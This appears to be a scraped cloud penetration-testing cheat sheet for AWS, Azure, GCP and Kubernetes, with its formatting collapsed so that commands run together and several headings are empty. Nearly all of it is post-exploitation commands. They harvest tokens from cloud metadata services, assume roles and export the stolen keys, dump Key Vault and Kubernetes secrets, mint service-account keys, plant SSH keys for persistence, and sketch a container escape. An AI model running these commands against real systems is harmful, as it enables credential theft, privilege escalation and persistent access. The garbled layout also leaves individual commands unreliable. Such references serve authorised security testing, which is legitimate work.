Credential Types
AKIA... prefixed access keys are long-term IAM User credentialsASIA... prefixed access keys are short-term STS credentials (could be a Role or User)
aws sts get-caller-identity (requires no IAM permissions)IAM Enumeration
aws iam list-user-policies --user-name {username}aws iam list-attached-user-policies --user-name {username}aws iam get-account-authorization-details
aws iam simulate-principal-policyaws iam list-open-id-connect-providers --no-cli-pager
jq '.RoleDetailList[] | select(.AssumeRolePolicyDocument.Statement[] | .Principal.Federated? | type=="string" and contains("token.actions.githubusercontent.com")) | {"RoleName": .RoleName, "Arn": .Arn, "AssumeRolePolicyDocument": .AssumeRolePolicyDocument}' gaad.jsonrepo:org/prefix-*:* without branch protection), any user with write access to a matching repo can assume the roleEC2 Instance Metadata (IMDS)
curl http://169.254.169.254/latest/meta-data/
fd00:ec2::254TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/aws ec2 describe-instances --instance-id {id} | jq '.Reservations[].Instances[].MetadataOptions'Secrets Locations
for i in $(aws ec2 describe-instances | jq -r '.Reservations[] | .Instances[].InstanceId'); do aws ec2 describe-instance-attribute --instance-id $i --attribute userData; doneaws dynamodb scan --max-items=25 --table-name={table})docker historyda2-[a-z0-9]{26})Shadow Resources
Cognito
Detection Avoidance
MFA CLI Session
aws sts get-session-token --serial-number arn:aws:iam::{ACCOUNT_ID}:mfa/{DEVICE_NAME} --token-code {MFA_CODE} --duration-seconds 129600 --profile {PROFILE}S3 Enumeration
aws s3 ls to list bucketsaws s3 ls s3://{bucket} to list objectsaws s3 cp s3://{bucket}/{key} . to downloadaws s3 presign s3://{bucket}/{key} --expires-in 3600 to generate a pre-signed URL without needing public accesss3:* to * principal)STS AssumeRole
OUT=$(aws sts assume-role --role-arn arn:aws:iam::{ACCOUNT}:role/{ROLE} --role-session-name pwned); export AWS_ACCESS_KEY_ID=$(echo $OUT | jq -r '.Credentials.AccessKeyId'); export AWS_SECRET_ACCESS_KEY=$(echo $OUT | jq -r '.Credentials.SecretAccessKey'); export AWS_SESSION_TOKEN=$(echo $OUT | jq -r '.Credentials.SessionToken')~/.aws/credentials > ~/.aws/config > container credentials > EC2 instance profileAutomated Enumeration Tools
pmapper --profile {profile} graph createpmapper --profile {profile} query -s "preset privesc *" (escalation paths from non-admin)pmapper --profile {profile} query -s "preset wrongadmin" (roles that shouldn’t be admin but are)prowler aws --profile {AWS_PROFILE} --status FAILCLI Basics
az login (interactive) or az login --use-device-code (remote/headless)az login --service-principal -u {app_id} -p {password_or_cert} --tenant {tenant}az ad signed-in-user showaz account list -o tableaz account set --subscription {SUBSCRIPTION_ID}az resource listaz group listaz vm listaz vm run-command invoke --resource-group {RG} --name {VM} --command-id RunPowerShellScript --scripts '{command}'az role assignment list --allhttps://login.microsoftonline.com/getuserrealm.srf?login=username@{domain}&xml=1https://login.microsoftonline.com/{domain}/v2.0/.well-known/openid-configurationKey Vault
az keyvault list --query '[].name' --output tsvaz keyvault set-policy --name {vault} --upn {your_user} --secret-permissions get listaz keyvault secret list --vault-name {vault} --query '[].id' --output tsvaz keyvault secret show --id {secret_uri}Metadata Service
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Automated Enumeration
az account set --subscription {SUB_ID}; prowler azure --az-cli-auth --status FAILPermission Model
Directory.ReadWrite.All + Application.ReadWrite.All (Graph)Secrets Locations
CLI Basics
gcloud projects listgcloud organizations listgcloud compute instances listgcloud iam service-accounts listgcloud iam service-accounts keys list --iam-account {account}gcloud projects get-iam-policy {project}gsutil ls gs://--impersonate-service-account is a global flag available on most commands, even if docs don’t say so
Metadata
curl -sH "Metadata-Flavor: Google" 'http://169.254.169.254/computeMetadata/v1/?recursive=true&alt=text'curl -sH "Metadata-Flavor: Google" 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/'curl -sH "Metadata-Flavor: Google" 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/{account}/token'IAM Enumeration
for folder in $(cat folders.txt); do gcloud resource-manager folders get-iam-policy --format=json $folder > "${folder}-iam.json"; donefor i in $(cat projects.txt); do gcloud projects get-ancestors-iam-policy $i --format=json > "${i}_ancestor-iam-policy.json"; doneDomain-Wide Delegation (DWD)
Post-Exploitation
gcloud iam service-accounts keys create {key_file} --iam-account {account_email}gcloud auth activate-service-account {account} --key-file={key_file}gcloud auth listgcloud config set account {account_email}gcloud compute instances add-metadata {instance} --metadata-from-file ssh-keys=/tmp/root.pub --zone {zone}gcloud compute project-info add-metadata --metadata-from-file ssh-keys=/tmp/root.pubgcloud compute ssh {account}@{instance} --zone {zone}Privesc Resources
What is Kubernetes?
Commands
kubectl get namespaceskubectl get pods --all-namespaceskubectl get pods -n {namespace}kubectl -n {namespace} get svc to list all services (IPs and ports)kubectl exec --stdin --tty -n {namespace} {pod_name} -- /bin/bashtar for kubectl cp: cat {local_file} | kubectl exec -i {pod} -n {namespace} -- tee /tmp/{file} >/dev/nullkubectl auth can-i --list to list your permissions in the current namespace
kubectl auth can-i {verb} {resource} --namespace {namespace} for specific checkskubectl create deployment my-deployment --image=nginx --dry-run=client -o yamlService Account Tokens
/var/run/secrets/kubernetes.io/serviceaccount/tokenkubectl isn’t installed, talk to the API directly:APISERVER=https://kubernetes.default.svc
SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
TOKEN=$(cat ${SERVICEACCOUNT}/token)
CACERT=${SERVICEACCOUNT}/ca.crt
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
RBAC
list on secrets exposed full data without get. Modern clusters mitigate this, but always verify on targetlist still reveals secret names, useful for targeted get attemptsPrivilege Escalation
kubectl get secrets -n kube-systemcreate pods/exec to run commands in pods with privileged service accounts
kubectl exec {pod} -n {namespace} -- cat /var/run/secrets/kubernetes.io/serviceaccount/tokenbind, escalate, or impersonate verbsNetwork Policies
Admission Controllers
kubectl get namespaces --selector='!pod-security.kubernetes.io/enforce'Testing IMDS from a Pod
curl http://169.254.169.254/latest/meta-data/instance-idTOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
Container Escapes
/proc/sys/kernel/modprobe: if we can control this path, we can plant a payload, change the modprobe symlink, and trigger a kernel module load
ls -l `cat /proc/sys/kernel/modprobe`CI/CD to K8s Pivoting
kubectl auth can-i --listGKE Specific
gcloud container clusters listgcloud container clusters describe {cluster} --zone {zone}gcloud container clusters get-credentials {cluster} --zone {zone}gcloud container images listEKS Specific
aws eks update-kubeconfig --profile {PROFILE} --name {CLUSTER} --region {REGION}Useful jq Queries
cat pods.json | jq '.items[] | select(.spec.nodeSelector.workload == "pci") | [.metadata.name, .status.podIP]'jq -r '.items[] | select(.status.podIPs != null) | .status.podIPs[].ip' pods.jsonjq -r '.items[] | select(.status.podIPs != null) | .metadata.name + ": " + (.status.podIPs[].ip)' pods.jsonTerraform
{random}.atlasv1.{random}